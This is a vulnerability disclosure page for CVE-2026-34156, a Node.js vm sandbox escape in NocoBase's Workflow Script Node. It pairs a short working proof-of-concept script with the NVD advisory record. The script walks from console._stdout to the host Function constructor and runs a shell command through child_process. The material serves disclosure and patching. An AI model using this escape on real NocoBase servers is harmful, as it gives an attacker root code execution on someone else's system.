CVE-2026-34156

// CVE-2026-34156 PoC Concept // The sandbox receives the host's 'console' object. // We can leverage internal properties to escape the vm sandbox. // 1. Access the internal stream object exposed via console const internalStream = console._stdout; // 2. Traverse the prototype chain to reach the base Object constructor // and eventually retrieve the host's Function constructor const HostFunction = Object.getPrototypeOf(internalStream).constructor.constructor; // 3. Use the HostFunction to execute code in the outer (host) context // 'process' is usually available in the global scope of Node.js const process = HostFunction('return process')(); // 4. Execute arbitrary system commands (e.g., RCE) process.mainModule.require('child_process').execSync('touch /tmp/pwned');

{"cve": {"id": "CVE-2026-34156", "sourceIdentifier": "[email protected]", "published": "2026-03-31T14:16:12.170", "lastModified": "2026-04-07T20:57:55.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-913"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0.28", "matchCriteriaId": "2F4BBE86-4C61-42A4-B11E-1AFFE76B84B9"}]}]}], "references": [{"url": "https://github.com/nocobase/nocobase/pull/8967", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.28", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}